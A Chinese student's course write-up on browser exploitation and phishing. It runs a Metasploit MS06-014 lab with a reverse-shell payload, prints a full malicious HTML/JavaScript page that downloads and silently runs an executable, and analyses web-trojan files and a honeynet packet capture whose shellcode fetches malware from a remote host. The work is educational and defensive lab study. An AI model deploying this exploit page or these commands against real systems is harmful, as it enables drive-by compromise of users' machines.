20199303 2019-2020-2 《网络攻防实践》第12周作业

基础知识

1. Web浏览器的技术发展与安全威胁
现代浏览器的基本结构如图所示:

  • 需要支持各种应用层协议的Stream流接收与解析,

  • 维护DOM对象模型结构,

  • 通过支持EMCAScript标准构建JavaScript、Flash ActionScript等客户端脚本语言的执行环境,

  • 支持CSS标准控制页面的布局,

  • 最终在浏览器终端中将服务器端的各种流媒体对参、应用程序、客户端脚本执行效果进行深染,展现给终端用户。

** Web浏览的安全问题与威胁**
Web浏览器软件安全困境三要素的问题即:复杂性、可扩展性和连通性。

1.1.1 Web浏览器软件的安全困境三要素

  • 在复杂性方面
    现代Web浏览器软件由于需要支持HTTP、HTTPS、FTP等多种类型的应用层协议浏览,符合HTML、XHTML、CSS等一系列的页面标准规范,支持JavaScript、Flash、Java、SilverLight等多种客户端执行环境,并满足大量的用户浏览需求,已经变得非常复杂和庞太。

  • 在可扩展性方面
    现代Web浏览器可能是最突出可扩展特性支持的软件类型,目前几乎所有的现代浏览器软件都支持第三方插件扩展机制,并通过JavaScript等客户端脚本执行环境、沙箱和虚拟机来执行富Intenet应用程序。第三方扩展插件的开发过程更缺乏安全保证,出现安全漏洞的情况更为普遍。

  • 在连通性方面
    浏览器软件始终工作在联网状态,一旦其中存在安全漏洞,就很容易被网络上的威胁源所利用与攻击。

Web浏览安全威胁位置
Web浏览器所处的系统平台、Web浏览器软件及插件程序、以及使用浏览器的终端用户一起构成了一个完整的Web浏览环境。

Web浏览环境中的每个组件也都面对着各种不同类型的安全威胁。

  • 针对传输网络的网络协议安全威胁:
    网络监听与协议栈攻防技术。

  • 针对Web浏览端系统平台的安全威胁
    Windows操作系统安全攻防技术和恶意代码攻防技术。

  • 针对Web浏览器软件及插件程序的渗透攻击威胁
    客户端渗透攻击向互联网用户桌面系统中植入恶意木马程序。

  • 针对互联网用户的社会工程学攻击威胁
    网络钓鱼攻击。

Web浏览端的渗透攻击威胁一一网页木马
网页木马的产生与发展背景:
自从Web浏览器在20世纪90年代中期引入了JavaApplet、JavaScript、VBScript等客户端执行脚本语言之后,黑客们开始利用这种可以在客户端执行脚本代码的机会,通过编写一些恶意的网页脚本,来对Web浏览器及客户端计算机实施攻击,如早期的浏览器主页劫持、网页炸弹等。

黑客地下经济链

Web浏览端安全漏洞:
网页木马的本质核心就是利用脚本语言实现对Web浏览端软件安全漏洞的渗透改击,从而向客户端主机中植入恶意程序。主要有以下特征:

  • 网页木马所攻击的安全漏洞的存在位置非常多样化
  • 由于互联网用户对应用软件的在线升级和补丁安装过程没有像微软系统软件一样自动化和实时,一些流行的应用软件中的安全漏洞留给网页木马的攻击事件窗口会长一点。
  • 一些影响范围广的安全漏洞,如 MS06-014 会被网页木马持续地利用,以攻击那些长时间不进行系统升级与补丁更新,或者安装老旧操作系统版本的互联网用户计算机
    网页木马本质特性: 利用了现代Web浏览器软件中所支持的客户端脚本执行能力,针对Web浏览端软件安全漏洞实施客户端渗透攻击,从而取得在客户端主机的远程代码执行权限来植入恶意程序。

攻击形式:(被动攻击) 网页木马采用客户端渗透攻击形式,需要web浏览端软件来访问构造的恶意web页面内容才能触发渗透攻击过程。因此,网页木马攻击是被动式的,需要通过一些技术方法来诱使互联网用户来访问网页木马页面。

攻击技术流程:

病毒编写者负责实现网页木马和传统的盗号木马,并使用免杀技术方法使之躲避反病毒软件的检测,
黑站长/网站骇客出卖网站访问者或攻陷不安全的网站,出售这些网站的访问流量;
“信封“盗窃者在木马宿主站点上放置网页本马和传统盗号木马,些通过在大量网站中嵌入恶意链接将访问者重定向全网页木马,从而构建网页木马攻击网络;
受害者在访问挂马网站时,就会自动地链接网页木马并被其攻凶,植入传统盗号木马,进而被窃取“信封“和虚拟资产。

网页木马攻击网络特性:

多样化的客户端渗透攻击位置和技术类型;

分布式、复杂的微观链接结构;

灵活多变的混淆与对抗分析能力。

浏览器渗透攻击
网页木马的具体实现机制:

MS06-014安全漏洞是2006年在Windows操作系统默认安装的MDAC数据库访问组
作RDS.DataSpaceActiveX控件中发现的远程代码执行漏洞,这个安全漏洞的机理非常简单,该控件CreateObject()方法创建的ActiveX控件无法确保能够进行安全的交互,导致远程代码执行潘洞,成功利用这个漏洞的攻击者可以完全控制受影响的系统。

网页挂马机制
攻击者需要将网页木马指接到一些拥有客户访问流量的网站页面上,而这一过程就被称为网页指马。

网页挂马有如下四类策略:

  • 内嵌HTML标签:。如iframe、frame等,将网页木马链接嵌入到网站首页或其他页面中。

  • 恶意script脚本:利用script脚本标签通过外部引用脚本的方式来包含网页木马,例如,<scriptsrc=“URLtoTrojan“>。

  • 内嵌对象:利用图片、Flash等内崴对象中的特定方法来完成指定页面的加
    载,如Flash中的LoadMovie0方法等。

  • ARP欺骗挂马:在同一以太网网段内,攻击者利用ARP欺骗方法进行中间人攻击,劫持所有目标网站出入的网络流量,并在目标网站的HTML反馈包中注入恶意脚本,从而时期成为将网络访问流量链接至网页木马的挂马站点。

揭开网络钓鱼的黑幕
网络钓鱼定义: 两个角色分别是钓鱼者(phisher)和受害者(victim),钓鱼者运用社会工程学(social engineering)知识诱骗受害者,以在未授权情况下获取对方的姓名、年龄、邮箱账号、甚至是银行卡密码等私人信息

网络钓鱼手段:

  • 发送垃圾邮件 引诱用户上钩

  • 建立假冒网上银行、网上证券网站

  • 利用虚假的电子商务进行作骗

  • 利用木马和黑客技术窃取用户信息后实施盗窃

  • 利用用户弱口令等漏洞破解、猜测用户账号和密码
    网络钓鱼攻击的技术

  • 鱼叉式网络钓鱼攻击
    这是一种个人触摸的大量网络钓鱼。发件人将使用可用信息看似合法。此类别中最常见的伪装是银行,攻击可以发送您的姓名,地址等。

  • 捕鲸攻击(行政网络钓鱼)
    这是一种鱼类网络钓鱼攻击,专门针对组织内的高级管理人员,通常是为了窃取大笔资金。

  • 克隆网络钓鱼
    它会收集先前已发送的电子邮件并复制其内容,将任何合法链接替换为恶意链接。然后使用欺骗帐户将电子邮件发送给原始电子邮件的收件人。基本上,攻击者克隆了合法的电子邮件。

  • 域欺骗
    它是一种新的网络钓鱼形式,依赖于DNS缓存中毒,将用户从合法站点重定向到欺诈站点,并欺骗用户使用他们的登录凭据尝试登录欺诈站点。

  • 语音网络钓鱼
    它也称为vishing,是一种通过语音通信媒体发生的网络钓鱼形式,包括IP语音(VoIP)或POTS(普通老式电话服务)。犯罪者会使用语音合成软件留下声称通知受害者银行或信用账户中的可疑活动的语音邮件,并请求受害者回复恶意电话号码以验证他的身份 - 从而危及受害者的账户凭证。

  • 短信网络钓鱼
    它也称为SMishing或SMShing,犯罪者会使用短信来说服受害者披露帐户凭据或安装恶意软件。

防范措施

  • 使用垃圾邮件过滤器

  • 安装防网络钓鱼工具栏

  • 验证站点的安全性

  • 使用防病毒软件和防火墙

  • 不要通过网络泄露个人信息

实践--Web浏览器渗透攻击实验


实验环境: 攻击机Kali(192.168.200.2),靶机Window2K(192.168.200.124)。
步骤:
按照教材提示,在kali中msfconsole打开metasploit。

2.输入search ms06_014,查看漏洞信息,use exploit/windows/browser/ie_createobject启用漏洞

设置攻击机机和靶机地址set lhost 192.168.200.2、set rhost 192.168.200.124。

输入show payloads选择攻击负载,选择反向连接,set payload windows/meterpreter/reverse_tcp,并输入exploit。

在靶机中启动浏览器,并登录网页http://192.168.200.2:8080/0cr7MUnr1Lyy3WG 验证,登陆成功,靶机和攻击机浏览器返回字符。

我们使用指令sessions -i 2打开会话,然后执行指令,发现执行成功,sessions成功建立。到此,我们的攻击浏览器的实践完成。

实践--分析网页木马实际攻击场景


由于给的网站和html文件打不开。资料中给出了挂马网站的结构。

打开7f60672dcd6b5e90b6772545ee219bd3文件,采用 XXTEA+Base64 的加密方法,要找到它的加密密钥就为倒数第三行中16进制数,并转换一下为script。

实践--Web浏览器渗透攻击对抗实验


打开实验中的ms06-014漏洞js代码。关键指令做了字符串拼接处理和大量的空白间隔。
打开7f60672dcd6b5e90b6772545ee219bd3文件,采用 XXTEA+Base64 的加密方法,要找到它的加密密钥就为倒数第三行中16进制数,并转换一下为script。



还需要访问 http://www.cha88.cn/safe/xxtea.php, 但是打不开,用资料中的解密结果如下:

利用到的应用程序漏洞有“Adodb.Stream”、 “MPS.StormPlayer”、 “POWERPLAYER.PowerPlayerCtrl.1” 和“BaiduBar.Tool”,分别对应利用了微软数据库访问对象、暴风影音、PPStream 和百度搜霸的漏洞。另外,这个文件还引用三个 js 文件和一个压缩包(bd.cab,解开后是 bd.exe)。

对可执行文件进行分析,如bf.exe,打开 PEiD,看这个可执行文件的加壳情况,得出的结论是它是用 Delphi 6.0-7.0写的。(无壳 ,delphi语言 )

直接用IDA Pro反编译这个文件,最显眼地可以看到其会下载很多的exe木马文件。

接下来下载好exe木马文件。打开df.exe,并运行自带的Process Monitor监控软件。运行后可以看到其疯狂的下载exe木马文件,全部下载到systerm32文件夹里面。

选择一个下载好的文件14.exe。继续采用PEid查壳,超级巡警脱壳

放入IDA Pro中查看字符串(会提示文件损坏)

实践--Web浏览器渗透攻击对抗实验

打开实验中的ms06-014漏洞js代码。

< html > < head > < title > < /title>
<script language="javascript">function KnAmGt(o,n)
{var r=null;try{eval("r=o.CreateObject(n)")}catch(e){}if(!r)			  {try{eval("r=o.CreateObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.CreateObject(n,'','')")}catch(e){}}if(!r){try{eval("r=o.GetObject('',n)")}catch(e){}}if(!r){try{eval("r=o.GetObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.GetObject(n)")}catch(e){}}return(r)}function hRZsZenIWZGSquVYwDztwzXS(a){var s=KnAmGt(a,"WScript.Shell");var o=KnAmGt(a,"ADODB.Stream");var e=s.Environment("Process");var url=document.location+'/payload';var xml=null;var bin=e.Item("TEMP")+"\\KvJyzvxl.exe";var dat;try{xml=new XMLHttpRequest()}catch(e){try{xml=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){xml=new ActiveXObject("MSXML2.ServerXMLHTTP")}}if(!xml){return(0)}xml.open("GET",url,false);xml.send(null);dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0)}function EeqjlsFOA(){var i=0;var t=new Array(' {
BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E36
}
',' {
BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E30
}
',' {
7F5B7F63 - F06F - 4331 - 8A26 - 339E03C0AE3D
}
',' {
6e32070a - 766d - 4ee6 - 879c - dc1fa91d2fc3
}
',' {
6414512B - B978 - 451D - A0D8 - FCFDF33E833C
}
',' {
06723E09 - F4C2 - 43c8 - 8358 - 09FCD1DB0766
}
',' {
639F725F - 1B2D - 4831 - A9FD - 874847682010
}
',' {
BA018599 - 1DB3 - 44f9 - 83B4 - 461454C84BF8
}
',' {
D0C07D56 - 7C69 - 43F1 - B4A0 - 25F5A11FAB19
}
',' {
E8CCCDDF - CA28 - 496b - B050 - 6C07C962476B
}
',' {
AB9BCEDD - EC7E - 47E1 - 9322 - D4A210617116
}
',' {
0006F033 - 0000 - 0000 - C000 - 000000000046
}
',' {
0006F03A - 0000 - 0000 - C000 - 000000000046
}
',null);while(t[i]){var a=null;if(t[i].substring(0,1)==' {
'){a=document.createElement("object");a.setAttribute("classid","clsid:"+t[i].substring(1,t[i].length-1))}else{try{a=new ActiveXObject(t[i])}catch(e){}}if(a){try{var b=KnAmGt(a,"WScript.Shell");if(b){hRZsZenIWZGSquVYwDztwzXS(a);return(0)}}catch(e){}}i++}}</script></head><body onload='
EeqjlsFOA()
'>GNNkmzjVHPe</body></html>

搜索可疑的数组

实践--Web浏览器遭遇攻击

1.列出在捕获文件中的应用层协议类型, 你认为攻击是针对哪个或哪些协议的?
应用层协议主要有(1)域名系统(DNS):用于实现网络设备名字到IP地址映射的网络服务。(2)文件传输协议(FTP):用于实现交互式文件传输功能。
(3)简单邮件传送协议 SMTP):用于实现电子邮箱传送功能。
(4)超文本传输协议(HTTP):用于实现WWW服务。
(5)简单网络管理协议(SNMP):用于管理与监视网络设备。
(6)远程登录协议(Telnet):用于实现远程登录功能。

2.用wirshark打开pcap文件,可以统计一下主要流量为HTTP/TCP协议。应该是针对TCP协议。

列出捕获文件中的 IP 地址、主机名和域名。从这些信息中你能猜出攻击场景的环境配置情况吗?
通过统计功能,并在wireshark显示IP地址对应名称,可以选择Name resolution复选框。

ip mac 域名
10.0.3.15 080027ba0b03
10.0.3.2 525400123500
10.0.4.15 080027a15fbf
10.0.5.15 080027cd3d55
10.0.5.2 525400123500
192.168.1.1 525400123500
192.168.56.50 525400123500
209.85.227.100 525400123500 www.l.google.com
74.125.77.101 525400123500 www-google-analytics.google.com
64.236.114.1 525400123500 www.honeynet.org


列出捕获文件中的所有网页页面, 其中哪些页面包含了可疑的、可能是恶意的
JavaScript 脚本代码?谁在连接这些页面?请描述恶意网页的攻击目的?

打开session_0006.part_01.html,现了如下界面,这应该是一个钓鱼网站,显然是恶意创建的对应的就是Rapidshare.com的高级账号(网站创立于2003年,是世界知名的文件上传下载托管服务网站)

再找到session_0007.part_02.html。

请给出攻击者执行攻击动作的概要描述(ip地址10.0.2.15)。
其首先让受害者登陆到构建的假的Rapidshare.com,在里面的js脚本将该内容又被重定向到sploitme.com.cn/fg/show.php?s=3feb5a6b2f, 其中包含一些javascript。最后返回一个404界面。
攻击者的目标是哪个操作系统,哪些应用软件,哪些安全漏洞?如何阻止这些攻击?
追踪TCP 流,可以看到这是一个针对Windows XP系统下IE浏览器漏洞。

Shellcode 执行了哪些动作?请列出 Shellcode 的 MD5,并比较它们之间的差异?
Shellcode获取系统临时文件路径,加载urlmon.dll,从 URL http://sploitme.com.cn/fg/load.php?e=1检索可执行文件,然后执行它。 Shellcode 之间的唯一区别是对load.php脚本的请求中的e变量,该变量指定发送恶意软件可执行文件。

在攻击场景中有二进制可执行恶意代码参与吗?它们的目的是什么?
下载可执行文件并在本地执行。

学习中遇到的问题及解决

1.整个流程比较复杂
2.不懂js代码,加解密分析有困难
3.整个实验过程综合性较强,还需要继续学习

posted @ 2020-05-21 13:34  20199303吕建文  阅读(195)  评论(0编辑  收藏  举报